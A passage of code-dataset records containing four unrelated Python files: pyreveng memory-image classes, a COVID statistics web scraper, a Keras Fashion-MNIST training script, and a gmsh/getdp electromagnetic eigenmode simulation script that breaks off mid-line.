+{"seq_id":"139832620","text":"#!/usr/bin/env python\n#\n# Copyright (c) 2012-2014 Poul-Henning Kamp \n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n# SUCH DAMAGE.\n\n\"\"\"\nMemory classes\n\nThese classes can be configured to act as memory for images to be\nanalysed.\n\nIn addition to the numerical value of each location, it is also\npossible to associate up to seven attributes with each location.\nThese can be used to record structural information in the media,\nfor instance relocation flags, write-ability etc.\n\nXXX: Better test-cases needed\nXXX: Need resolution of who controls rendering...\n\n\"\"\"\n\nfrom __future__ import print_function\n\nimport ctypes\n\nDEFINED = (1 << 7)\n\nclass MemError(Exception):\n\tdef __init__(self, adr, reason):\n\t\tsuper(MemError, self).__init__()\n\t\tself.adr = adr\n\t\tself.reason = reason\n\t\tself.value = (\"0x%x:\" % adr + str(self.reason),)\n\tdef __str__(self):\n\t\treturn repr(self.value)\n\nclass address_space(object):\n\t\"\"\"\n\tA vacuous address-space and base-class for actual address-spaces\n\tand memory types\n\t\"\"\"\n\tdef __init__(self, lo, hi, name=\"\"):\n\t\tassert lo <= hi\n\t\tself.lo = lo\n\t\tself.hi = hi\n\t\tself.name = name\n\n\tdef __repr__(self):\n\t\treturn \"\" % (\n\t\t self.name, self.lo, self.hi\n\t\t)\n\n\tdef __getitem__(self, a):\n\t\ta = self._off(a)\n\t\traise MemError(a, \"Undefined\")\n\n\tdef __setitem__(self, a, d):\n\t\ta = self._off(a)\n\t\traise MemError(a, \"Undefined\")\n\n\tdef _off(self, a):\n\t\tif a < self.lo:\n\t\t\traise MemError(a, \"Address too low\")\n\t\tif a >= self.hi:\n\t\t\traise MemError(a, \"Address too high\")\n\t\treturn a - self.lo\n\n\nclass word_mem(address_space):\n\t\"\"\"\n\tWord memory is characteristic for a lot of the earliest computers,\n\tthey could access exactly one word at a time, or possibly fractions\n\tof a word, but the instruction set did not support any \"super-size\"\n\tdata types or access spanning multiple words.\n\n\tTypical examples: Pretty much any ancestor of Von Neumans early\n\tcomputers down to most of the minicomputers from DEC and DG.\n\n\tLargest supported word-width is 64 bits.\n\t\"\"\"\n\n\tdef __init__(self, lo, hi, bits=8, attr=0):\n\t\tassert lo < hi\n\t\tassert bits > 0\n\t\tassert bits <= 64\n\t\tassert attr >= 0\n\t\tassert attr <= 7\n\n\t\tsuper(word_mem, self).__init__(lo, hi)\n\n\t\tself.bits = bits\n\t\tself.fmt = \"%\" + \"0%dx\" % ((bits + 3) // 4)\n\t\tself.undef = \"-\" * ((bits + 3) // 4)\n\t\tself.ascii = (bits & 7) == 0\n\t\tself.lo = lo\n\t\tself.hi = hi\n\t\tself.attr = attr\n\t\tl = hi - lo\n\n\t\tself.msk = (1 << bits) - 1\n\t\tself.amsk = (1 << attr) - 1\n\n\t\tif bits <= 8:\n\t\t\tself.mt = ctypes.c_uint8\n\t\telif bits <= 16:\n\t\t\tself.mt = ctypes.c_uint16\n\t\telif bits <= 32:\n\t\t\tself.mt = ctypes.c_uint32\n\t\telse:\n\t\t\tself.mt = ctypes.c_uint64\n\n\t\tself.m = (self.mt * l)()\n\n\t\tself.at = ctypes.c_uint8\n\t\tself.a = (self.at * l)()\n\n\t\t#self.pm = ctypes.pointer(self.m[0])\n\t\t#self.pa = ctypes.pointer(self.a[0])\n\n\tdef __repr__(self):\n\t\treturn \"\" % (\n\t\t self.lo, self.hi, self.bits, self.attr)\n\n\tdef __getitem__(self, a):\n\t\t\"\"\"Read location\"\"\"\n\t\tb = self._off(a)\n\t\tif not self.a[b] & DEFINED:\n\t\t\traise MemError(a, \"Undefined\")\n\t\treturn self.m[b]\n\n\tdef rd(self, a):\n\t\treturn self[a]\n\n\tdef __setitem__(self, a, d):\n\t\t\"\"\"Write location\"\"\"\n\t\tif d & ~self.msk:\n\t\t\traise MemError(a, \"Data too big (0x%x)\" % d)\n\t\tb = self._off(a)\n\t\tself.m[b] = self.mt(d)\n\t\tself.a[b] |= DEFINED\n\n\tdef wr(self, a, d):\n\t\tself[a] = d\n\n\tdef get_attr(self, a):\n\t\t\"\"\"Get attributes\"\"\"\n\t\tb = self._off(a)\n\t\treturn self.a[b] & self.amsk\n\n\tdef set_attr(self, a, x):\n\t\t\"\"\"Set attributes\"\"\"\n\t\tif x & ~self.amsk:\n\t\t\traise MemError(a, \"Attribute too big (0x%x)\" % x)\n\t\tb = self._off(a)\n\t\tself.a[b] |= x\n\n\tdef clr_attr(self, a, x):\n\t\t\"\"\"Clear attributes\"\"\"\n\t\tif x & ~self.amsk:\n\t\t\traise MemError(a, \"Attribute too big (0x%x)\" % x)\n\t\tb = self._off(a)\n\t\tself.a[b] &= ~x\n\n\tdef do_ascii(self, w):\n\t\t\"\"\"Return an ASCII representation of a value\"\"\"\n\t\ts = \" |\"\n\t\tb = self.bits - 8\n\t\twhile b >= 0:\n\t\t\tif w is None:\n\t\t\t\ts += \" \"\n\t\t\telse:\n\t\t\t\tx = (w >> b) & 0xff\n\t\t\t\tif x > 32 and x < 127:\n\t\t\t\t\ts += \"%c\" % x\n\t\t\t\telse:\n\t\t\t\t\ts += \" \"\n\t\t\tb -= 8\n\t\treturn s + \"|\"\n\n\tdef render(self, pj, lo, hi):\n\t\t\"\"\"\n\t\tRender a location\n\n\t\tXXX: The PJ gets to render the address, but mem\n\t\tXXX: renders the value. Make it consistent.\n\t\t\"\"\"\n\t\tl = list()\n\t\twhile lo < hi:\n\t\t\ts = pj.afmt(lo) + \" \"\n\t\t\ttry:\n\t\t\t\tw = self.rd(lo)\n\t\t\t\ts += self.fmt % w\n\t\t\texcept MemError:\n\t\t\t\tw = None\n\t\t\t\ts += self.undef\n\n\t\t\tif self.amsk > 0x0f:\n\t\t\t\ts += \" /%02x \" % self.get_attr(lo)\n\t\t\telif self.amsk > 0x0:\n\t\t\t\ts += \" /%x \" % self.get_attr(lo)\n\n\t\t\tif self.ascii:\n\t\t\t\ts += self.do_ascii(w)\n\t\t\tlo += 1\n\t\t\tl.append(s)\n\t\treturn l\n\n\nclass byte_mem(word_mem):\n\t\"\"\"\n\tByte memory is characteristic of microcomputers, which typically\n\thad very narrow busses, 4 or 8 bits, but which had instructions\n\tfor operating on wider types than the buswidth.\n\n\tThis introduces the issue of which \"endianess\" but this is not\n\treally attribute of the memory, it is an attribute of the CPU,\n\tinstruction set or interpreted code, so we provide both \"sexes\"\n\tand leave it up to everybody else to use the right one.\n\t\"\"\"\n\n\tdef __init__(self, lo, hi, attr=0):\n\t\tsuper(byte_mem, self).__init__(lo, hi, 8, attr)\n\t\tself.ncol = 4\n\t\tself.ascii = True\n\n\tdef u8(self, a):\n\t\t\"\"\"Unsigned 8-bit byte\"\"\"\n\t\treturn self.rd(a)\n\n\tdef s8(self, a):\n\t\t\"\"\"Signed 8-bit byte\"\"\"\n\t\tb = self.rd(a)\n\t\tif b & 0x80:\n\t\t\tb -= 256\n\t\treturn b\n\n\tdef bu16(self, a):\n\t\t\"\"\"Big Endian Unsigned 16-bit half-word\"\"\"\n\t\tb = self.rd(a) << 8\n\t\tb |= self.rd(a + 1)\n\t\treturn b\n\n\tdef bu32(self, a):\n\t\t\"\"\"Big Endian Unsigned 32-bit word\"\"\"\n\t\tb = self.rd(a) << 24\n\t\tb |= self.rd(a + 1) << 16\n\t\tb |= self.rd(a + 2) << 8\n\t\tb |= self.rd(a + 3)\n\t\treturn b\n\n\tdef bu64(self, a):\n\t\t\"\"\"Big Endian Unsigned 64-bit double-word\"\"\"\n\t\tb = self.rd(a) << 56\n\t\tb |= self.rd(a + 1) << 48\n\t\tb |= self.rd(a + 2) << 40\n\t\tb |= self.rd(a + 3) << 32\n\t\tb |= self.rd(a + 4) << 24\n\t\tb |= self.rd(a + 5) << 16\n\t\tb |= self.rd(a + 6) << 8\n\t\tb |= self.rd(a + 7)\n\t\treturn b\n\n\tdef lu16(self, a):\n\t\t\"\"\"Little Endian Unsigned 16-bit half-word\"\"\"\n\t\tb = self.rd(a)\n\t\tb |= self.rd(a + 1) << 8\n\t\treturn b\n\n\tdef lu32(self, a):\n\t\t\"\"\"Little Endian Unsigned 32-bit word\"\"\"\n\t\tb = self.rd(a)\n\t\tb |= self.rd(a + 1) << 8\n\t\tb |= self.rd(a + 2) << 16\n\t\tb |= self.rd(a + 3) << 24\n\t\treturn b\n\n\tdef lu64(self, a):\n\t\t\"\"\"Little Endian Unsigned 64-bit double-word\"\"\"\n\t\tb = self.rd(a)\n\t\tb |= self.rd(a + 1) << 8\n\t\tb |= self.rd(a + 2) << 16\n\t\tb |= self.rd(a + 3) << 24\n\t\tb |= self.rd(a + 4) << 32\n\t\tb |= self.rd(a + 5) << 40\n\t\tb |= self.rd(a + 6) << 48\n\t\tb |= self.rd(a + 7) << 56\n\t\treturn b\n\n\tdef bs16(self, a):\n\t\t\"\"\"Big Endian Signed 16-bit half-word\"\"\"\n\t\tb = self.bu16(a)\n\t\tif b & 0x8000:\n\t\t\tb -= 0x10000\n\t\treturn b\n\n\tdef ls16(self, a):\n\t\t\"\"\"Little Endian Signed 16-bit half-word\"\"\"\n\t\tb = self.lu16(a)\n\t\tif b & 0x8000:\n\t\t\tb -= 0x10000\n\t\treturn b\n\n\tdef bs32(self, a):\n\t\t\"\"\"Big Endian Signed 32-bit word\"\"\"\n\t\tb = self.bu32(a)\n\t\tif b & 0x80000000:\n\t\t\tb -= 0x100000000\n\t\treturn b\n\n\tdef ls32(self, a):\n\t\t\"\"\"Little Endian Signed 32-bit word\"\"\"\n\t\tb = self.lu32(a)\n\t\tif b & 0x80000000:\n\t\t\tb -= 0x100000000\n\t\treturn b\n\n\tdef bs64(self, a):\n\t\t\"\"\"Big Endian Signed 64-bit double-word\"\"\"\n\t\tb = self.bu64(a)\n\t\tif b & 0x8000000000000000:\n\t\t\tb -= 0x10000000000000000\n\t\treturn b\n\n\tdef ls64(self, a):\n\t\t\"\"\"Little Endian Signed 64-bit double-word\"\"\"\n\t\tb = self.lu64(a)\n\t\tif b & 0x8000000000000000:\n\t\t\tb -= 0x10000000000000000\n\t\treturn b\n\n\tdef load_data(self, first, step, data):\n\t\tfor i in data:\n\t\t\tself.wr(first, i)\n\t\t\tfirst += step\n\n\tdef load_binfile(self, first, step, filename):\n\t\tfi = open(filename, \"rb\")\n\t\td = bytearray(fi.read())\n\t\tfi.close()\n\t\tself.load_data(first, step, d)\n\n\tdef render(self, pj, lo, hi):\n\t\t\"\"\"\n\t\tRender 'ncol' bytes per line\n\n\t\tXXX: ncol should be parameterized\n\n\t\tXXX: The PJ gets to render the address, but mem\n\t\tXXX: renders the value. Make it consistent.\n\t\t\"\"\"\n\t\tl = list()\n\t\twhile lo < hi:\n\t\t\ts = \"\"\n\t\t\tt = \"\"\n\t\t\ts += pj.afmt(lo) + \" \"\n\t\t\tfor i in range(self.ncol):\n\t\t\t\tif lo + i < hi:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tv = self.rd(lo + i)\n\t\t\t\t\t\ts += \" %02x\" % v\n\t\t\t\t\t\tif v < 32 or v > 126:\n\t\t\t\t\t\t\tt += \" \"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tt += \"%c\" % v\n\t\t\t\t\texcept MemError:\n\t\t\t\t\t\ts += \" --\"\n\t\t\t\t\t\tt += \" \"\n\t\t\t\telse:\n\t\t\t\t\ts += \" \"\n\t\t\t\t\tt += \" \"\n\t\t\tif self.ascii:\n\t\t\t\ts += \" |\" + t + \"|\"\n\t\t\tl.append(s)\n\t\t\tlo += self.ncol\n\t\treturn l\n\nif __name__ == \"__main__\":\n\tm = word_mem(0x0000, 0x1000, bits=64, attr=3)\n\tprint(m)\n\tprint(type(m.m), ctypes.sizeof(m.m))\n\tm.wr(0x100, 0x123456789)\n\tprint(\"%x\" % m.rd(0x100))\n\tprint(m.get_attr(0x100))\n\tprint(m.get_attr(0x101))\n\tprint(m.set_attr(0x101, 4))\n\tprint(m.get_attr(0x101))\n","sub_path":"pyreveng/mem.py","file_name":"mem.py","file_ext":"py","file_size_in_byte":9733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"169648717","text":"from bs4 import BeautifulSoup\r\nimport lxml\r\nimport requests\r\n\r\nURL = 'https://www.mohfw.gov.in/'\r\n\r\nresponse = requests.get(url=URL)\r\ncovid_data_web = response.text\r\ncovid_data = BeautifulSoup(covid_data_web, parser=\"html.parse\", features=\"lxml\")\r\n\r\n\r\ntotal_data = covid_data.find_all(name='strong', class_='mob-hide')\r\ntotal_data = [data.getText() for data in total_data]\r\ntotal_cases = total_data[1]\r\ntotal_cases = total_cases.replace(u'\\xa0', u' ') + \" Today's Count\"\r\nprint(total_cases)\r\ntotal_recoveries = total_data[3]\r\ntotal_recoveries = total_recoveries.replace(u'\\xa0', u' ') + \" Today's Count\"\r\ntotal_death = total_data[5]\r\ntotal_death = total_death.replace(u'\\xa0', u' ') + \" Today's Count\"\r\n\r\n\r\nvaccinated_data = covid_data.find_all(name='span', class_='coviddata')\r\nvaccinated_data = [data.getText() for data in vaccinated_data]\r\ntotal_vaccinated_people = vaccinated_data[0]\r\ntotal_vaccinated_people = total_vaccinated_people.replace(u'\\xa0', u' ')","sub_path":"covid-help-app/covid_related_data.py","file_name":"covid_related_data.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"645824777","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sklearn\nimport pandas as pd\nimport os\nimport sys\nimport time\nimport tensorflow as tf\nfrom sklearn.preprocessing import StandardScaler #用于归一化\n\nfrom tensorflow import keras\n\nprint(tf.__version__)\nprint(sys.version_info)\nfor module in mpl, np, pd, sklearn, tf, keras:\n print(module.__name__, module.__version__)\n\nfashion_mnist = keras.datasets.fashion_mnist\n(x_train_all, y_train_all), (x_test, y_test) = fashion_mnist.load_data() \nx_valid, x_train = x_train_all[:5000], x_train_all[5000:]\ny_valid, y_train = y_train_all[:5000], y_train_all[5000:]\n\nprint(x_valid.shape, y_valid.shape)\nprint(x_train.shape, y_train.shape)\nprint(x_test.shape, y_test.shape)\nprint(np.max(x_train), np.min(x_train))\n\n#数据归一化 x = (x-u)/std\nscalar = StandardScaler()\nx_train_scaled = scalar.fit_transform(x_train.astype(np.float32).reshape(-1, 1)).reshape(-1, 28, 28)\nx_valid_scaled = scalar.transform(x_valid.astype(np.float32).reshape(-1, 1)).reshape(-1, 28, 28)\nx_test_scaled = scalar.transform(x_test.astype(np.float32).reshape(-1, 1)).reshape(-1, 28, 28)\nprint(x_test_scaled)\nprint(np.max(x_train_scaled), np.min(x_train_scaled))\n\n\ndef main():\n model = keras.models.Sequential()\n model.add(keras.layers.Flatten(input_shape = [28,28]))\n for _ in range(20):\n model.add(keras.layers.Dense(100, activation = \"relu\"))\n model.add(keras.layers.Dense(10, activation = \"softmax\"))\n\n #relu: y = max(0,x)\n #softmax: x = [x1, x2, x3], y=[e^x1/sum, e^x2/sum, e^x3/sum] sum 是上面三个的和\n\n #sparse的原因:这里y只是一个index,要用sparse_categorical_crossentropy,这个会用onehot把y转成向量\n model.compile(loss=\"sparse_categorical_crossentropy\", optimizer = \"sgd\", metrics = [\"accuracy\"])\n model.summary()\n logdir = '.\\\\dnn-callbacks'\n if not os.path.exists(logdir):\n os.mkdir(logdir)\n output_model_file = os.path.join(logdir, \"fashion_mnist_model.h5\")\n callbacks = [\n keras.callbacks.TensorBoard(logdir),\n keras.callbacks.ModelCheckpoint(output_model_file, save_best_only = True),\n keras.callbacks.EarlyStopping(patience = 5, min_delta = 1e-2)\n ]\n history = model.fit(x_train_scaled, y_train, epochs = 10, validation_data=(x_valid, y_valid), callbacks = callbacks)\n model.evaluate(x_test_scaled, y_test)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"classification/dnn-callback_tf_keras_classification_model.py","file_name":"dnn-callback_tf_keras_classification_model.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"616706088","text":"##############################################################################################################################\n###### SPHERE IN OPEN SPACE ##########################################################################################################\n##############################################################################################################################\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.linalg as linalg\nimport scipy.signal as signal\nimport matplotlib.gridspec as gridspec\nfrom function_e import *\nimport os\nimport sys\nnp.set_printoptions(precision=4)\n# os.environ['OPENBLAS_NUM_THREADS'] = '4'\nimport time\nstart = time.time()\n\n###### MAIN PROGRAM ##########################################################################################################\n## Mau's constants\npi = np.pi\nmicro = 1e-6\nfemto = 1e-15\npeta = 1e15\ncc = 299792458\nmu_0 = pi*4e-7\neps_0 = 1./(mu_0*cc**2)\n##--- PARAMETER ----------------#########################\nscale_light = 1e8\nmicro = 1e-6\nscale_frequ = scale_light/micro # 1e14\ncel = cc/scale_light\nmu0 = mu_0 *scale_light\nep0 = eps_0 *scale_light\n\ne_scale = 1e-1\nr_ellipse_2 = 1*e_scale\n# r_ellipse_2 = 1*e_scale\nxS , yS , zS = 1.2 *e_scale, 1.2 *e_scale, 1.2 *e_scale\nxD1, yD1, zD1 =-1.2 *e_scale,-1.2 *e_scale,-1.2 *e_scale\nxD2, yD2, zD2 = 1.2 *e_scale,-1.2 *e_scale, 1.2 *e_scale\n\nr_source = 10e-2*e_scale\n\n# lambda_m = 0.2*e_scale\nlambda_m = 0.25*e_scale\n# lambda_m = 0.26*e_scale\n# lambda_m = 0.32*e_scale\nD_pml_in = 3*e_scale\npml_size = 4*e_scale\n# pml_size = 3*e_scale\n\n# epsr = 16+1j\n# epsilon_oo = 3.36174\n# omega_p = 1.3388e16/scale_frequ\n# gamma = 7.07592e13/scale_frequ\n\n# epsilon_oo = 1\n# omega_p = 1.26e16/scale_frequ\n# gamma = 1.41e14/scale_frequ\n\nepsilon_oo = 6\nomega_p = 4.572e15/2/scale_frequ\ngamma = 1.332e15/scale_frequ\n\neps_mil = 1\nE_or_H = 0 # electric or magnetic\nPML_or_not = 1\nPML_stype = 0\n# vector0vs1 = 0\t# scalar or vector\ntype_source = 1 # line source or plane wave\nneig = 350\n\npar_gmsh_getdp = open('parameters_gmsh_getdp.dat', 'w')\npar_gmsh_getdp.write('neig = %d;\\n'%(neig))\npar_gmsh_getdp.write('xS = %3.3e;\\n'%(xS))\npar_gmsh_getdp.write('yS = %3.3e;\\n'%(yS))\npar_gmsh_getdp.write('zS = %3.3e;\\n'%(zS))\npar_gmsh_getdp.write('xD1 = %3.3e;\\n'%(xD1))\npar_gmsh_getdp.write('yD1 = %3.3e;\\n'%(yD1))\npar_gmsh_getdp.write('zD1 = %3.3e;\\n'%(zD1))\npar_gmsh_getdp.write('xD2 = %3.3e;\\n'%(xD2))\npar_gmsh_getdp.write('yD2 = %3.3e;\\n'%(yD2))\npar_gmsh_getdp.write('zD2 = %3.3e;\\n'%(zD2))\n# par_gmsh_getdp.write('r_ellipse_1 = %3.3e;\\n'%(r_ellipse_1))\npar_gmsh_getdp.write('r_ellipse_2 = %3.3e;\\n'%(r_ellipse_2))\n# par_gmsh_getdp.write('r_ellipse_3 = %3.3e;\\n'%(r_ellipse_3))\npar_gmsh_getdp.write('r_source = %3.3e;\\n'%(r_source))\npar_gmsh_getdp.write('lambda_m = %3.3e;\\n'%(lambda_m))\npar_gmsh_getdp.write('D_pml_in = %3.3e;\\n'%(D_pml_in))\npar_gmsh_getdp.write('pml_size = %3.3e;\\n'%(pml_size))\npar_gmsh_getdp.write('cel = %3.3e;\\n'%(cel))\npar_gmsh_getdp.write('mu0 = %3.3e;\\n'%(mu0))\npar_gmsh_getdp.write('epsilon0 = %3.3e;\\n'%(ep0))\npar_gmsh_getdp.write('eps_mil_re = %3.3e;\\n'%(eps_mil.real))\npar_gmsh_getdp.write('eps_mil_im = %3.3e;\\n'%(eps_mil.imag))\n# par_gmsh_getdp.write('eps_diff_re = %3.3e;\\n'%(epsr.real ))\n# par_gmsh_getdp.write('eps_diff_im = %3.3e;\\n'%(epsr.imag ))\npar_gmsh_getdp.write('PML = 0.2;\\n')\n# par_gmsh_getdp.write('PML = 0;\\n')\n# par_gmsh_getdp.write('angle = Pi/10;\\n')\npar_gmsh_getdp.write('E_or_H = %d;\\n'%(E_or_H))\npar_gmsh_getdp.write('PML_or_not = %d;\\n'%(PML_or_not))\npar_gmsh_getdp.write('PML_stype = %d;\\n'%(PML_stype))\npar_gmsh_getdp.write('type_source = %d;\\n'%(type_source))\npar_gmsh_getdp.write('epsilon_oo = %3.5e;\\n'%(epsilon_oo))\npar_gmsh_getdp.write('omega_p = %3.5e;\\n'%(omega_p))\npar_gmsh_getdp.write('gamma = %3.5e;\\n'%(gamma))\npar_gmsh_getdp.write('zone1 = 1;\\n')\npar_gmsh_getdp.write('zone2 = 30;\\n')\npar_gmsh_getdp.close()\n\ngmsh_path = ''\ngetdp_path = ''\nif PML_or_not == 1:\n\t# mesh_filename = 'mesh_3D_line.msh'\n\t# mesh_geo = 'mesh_3D_line.geo'\n\tmesh_filename = 'mesh_compute.msh'\n\tmesh_geo = 'mesh_compute.geo'\nelse:\n\tmesh_filename = 'mesh_3D_line_simple.msh'\n\tmesh_geo = 'mesh_3D_line_simple.geo'\n\t## change mesh\n\t# mesh_filename = 'mesh_3D_sphere_simple.msh'\n\t# mesh_geo = 'mesh_3D_sphere_simple.geo'\t\nos.system(gmsh_path+'gmsh '+mesh_geo+' -3 -o '+mesh_filename)\n\n##### SPECTRAL PROBLEM ############################################################################\nslepc_options_pep = ' -pep_max_it 400 -pep_target_magnitude'\nslepc_options_rational = ' -nep_max_it 200 -nep_type nleigs -nep_rational -nep_target_magnitude -petsc_prealloc 100 \\\n\t\t\t\t\t-rg_interval_endpoints -50,50,10,80'# -v 0'\n\t\t\t\t\t# ' -nep_max_it 100 -nep_type nleigs -nep_rational -nep_target_magnitude -rg_interval_endpoints -50,9,-30,50'\nspec_getdp = getdp_path+'getdp spectral_3D.pro -pre Projection -msh '+mesh_filename+' -cal -pos postop -slepc'# -v 0' \nos.system(spec_getdp + slepc_options_rational)\neigs = np.loadtxt('EigenValuesReal.txt',usecols=[5]) + 1j*np.loadtxt('EigenValuesImag.txt',usecols=[5])\nneig = len(eigs)\t\t\t\t\t\n\nplt.figure()\nvpr = np.loadtxt('EigenValuesReal.txt',usecols=[5])\nvpi = np.loadtxt('EigenValuesImag.txt',usecols=[5])\nplt.plot(vpr, vpi, 'C0o',markersize=3 ,mfc='none')\nfor k in range(len(vpr)):\n plt.annotate(k, xy=(vpr[k],vpi[k]), xytext=None, xycoords='data', textcoords='data', arrowprops=None)\nplt.title(\"Eigenvalues\")\nplt.xlabel(\"Re\")\nplt.ylabel(\"Im\")\n\nos.system('rm norm1.txt norm2.txt')\nnorm_getdp = getdp_path+'getdp norm.pro -pre Projection -msh '+mesh_filename+' -res spectral_3D.res -pos postop_norm -v 0'\nos.system(norm_getdp)\nnorm1 = np.loadtxt('norm1.txt',usecols=[5]) + 1j*np.loadtxt('norm1.txt',usecols=[6] ) \nnorm2 = np.loadtxt('norm2.txt',usecols=[5]) + 1j*np.loadtxt('norm2.txt',usecols=[6] ) \nd1 = 1/cel**2 * ( 2*epsilon_oo*eigs - 1j*gamma*omega_p**2/(eigs+1j*gamma)**2 ) * norm1\nd2 = 2/cel**2 * eigs * norm2 \ndd = d1+d2\n##################################################################################################################################\nN_frequency = 10\nE0_0 = np.zeros((N_frequency,4),dtype=complex)\nE0_1 = np.zeros((N_frequency,4),dtype=complex)\nE0_2 = np.zeros((N_frequency,4),dtype=complex)\nE2 = np.zeros((N_frequency,4))\nE2_all = np.zeros((N_frequency,4))\n\nE0_0t = np.zeros((N_frequency,4),dtype=complex)\nE0_1t = np.zeros((N_frequency,4),dtype=complex)\nE0_2t = np.zeros((N_frequency,4),dtype=complex)\nE2t = np.zeros((N_frequency,4))\nE2_allt = np.zeros((N_frequency,4))\nomegas = np.linspace(25,60,N_frequency)\nfor i,omega0 in enumerate(omegas) :\n\tlambda0 = 2.*pi*cel/omega0\t\n\t# omega0 = 2.*pi*cel/lambda0\n\tepsr = epsilon_oo - omega_p**2/(omega0**2+1j*omega0*gamma) \n\t# print(epsr)\n\tpar_gmsh_getdp = open('parameters_gmsh_getdp.dat', 'a')\n\tpar_gmsh_getdp.write('lambda0 = %3.3e;\\n'%(lambda0))\n\tpar_gmsh_getdp.write('neig = %d;\\n'%(neig))\n\tpar_gmsh_getdp.write('eps_diff_re = %3.3e;\\n'%(epsr.real ))\n\tpar_gmsh_getdp.write('eps_diff_im = %3.3e;\\n'%(epsr.imag ))\n\tpar_gmsh_getdp.close()\n\t############ direct ##################################################################\n\tdirect_getdp = getdp_path+'getdp direct_3D.pro -pre Scattering -msh '+mesh_filename+' -cal -pos postop_scat -v 0' \n\tos.system(direct_getdp)\n\tE2[i,0] = np.loadtxt('E2.txt')[1]\n\tE2_all[i,0] = np.loadtxt('E2_all.txt')[1]\n\tE0_txt, E1_txt, E2_txt = np.loadtxt('E0_0.txt'), np.loadtxt('E0_1.txt'), np.loadtxt('E0_2.txt')\n\tE0_0[i,0] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) + 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\tE0_1[i,0] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\tE0_2[i,0] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\n\tE2t[i,0] = np.loadtxt('E2t.txt')[1]\n\tE2_allt[i,0] = np.loadtxt('E2_allt.txt')[1]\n\tE0_txt, E1_txt, E2_txt = np.loadtxt('E0_0t.txt'), np.loadtxt('E0_1t.txt'), np.loadtxt('E0_2t.txt')\n\tE0_0t[i,0] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) + 1j*np.sqrt( E0_txt[8]**2 + E0_txt[9]**2 + E0_txt[10]**2 )\n\tE0_1t[i,0] = np.sqrt( E1_txt[5]**2 + E1_txt[6]**2 + E1_txt[7]**2 ) + 1j*np.sqrt( E1_txt[8]**2 + E1_txt[9]**2 + E1_txt[10]**2 )\n\tE0_2t[i,0] = np.sqrt( E2_txt[5]**2 + E2_txt[6]**2 + E2_txt[7]**2 ) + 1j*np.sqrt( E2_txt[8]**2 + E2_txt[9]**2 + E2_txt[10]**2 )\n\t##### COMPUTE PROJECTION PROBLEM ######################################################### \n\t#### norm ------------------------------------#####\n\tos.system('rm Jns.txt')\n\tJn_getdp = getdp_path+'getdp Jn.pro -pre Projection -msh '+mesh_filename+' -res spectral_3D.res -pos postop_Jn -v 0'\n\tos.system(Jn_getdp)\n\tJn = np.loadtxt('Jns.txt',usecols=[5]) + 1j*np.loadtxt('Jns.txt',usecols=[6] ) \n\t### Pns 0 #########################\n\tPns0 = Jn/(omega0-eigs)/dd\n\tPns1 = Jn/(omega0-eigs)/dd*(eigs/omega0)\n\t# Pns2 = Jn/(omega0-eigs)/dd*((eigs-33)/(omega0-33))\n\t#####################################################################\t\n\tfile_Pns = open('Pns.dat', 'w')\n\tfor k, Pn in enumerate(Pns0):\n\t file_Pns.write('Pns_re_%d = %3.5e;\\n'%(k,Pn.real))\n\t file_Pns.write('Pns_im_%d = %3.5e;\\n'%(k,Pn.imag))\n\tfile_Pns.close()\n\tproject_getdp = getdp_path+'getdp projection_3D.pro -pre Projection -msh '+mesh_filename+' -res spectral_3D.res -pos postop_modal -bin -v 0'\n\tos.system(project_getdp)\n\tos.system('rm E2.txt E2_all.txt E0_0.txt E0_1.txt E0_2.txt')\n\tprojection_coeff_getdp = getdp_path+'getdp projection_coeff_3D.pro -pre Projection -msh '+mesh_filename+' -cal -pos postop_modal -v 0' \n\tos.system(projection_coeff_getdp)\n\tE2[i,1] = np.loadtxt('E2.txt')[1]\n\tE2_all[i,1] = np.loadtxt('E2_all.txt')[1]\n\tE0_txt, E1_txt, E2_txt = np.loadtxt('E0_0.txt'), np.loadtxt('E0_1.txt'), np.loadtxt('E0_2.txt')\n\tE0_0[i,1] = np.sqrt( E0_txt[5]**2 + E0_txt[6]**2 + E0_txt[7]**2 ) 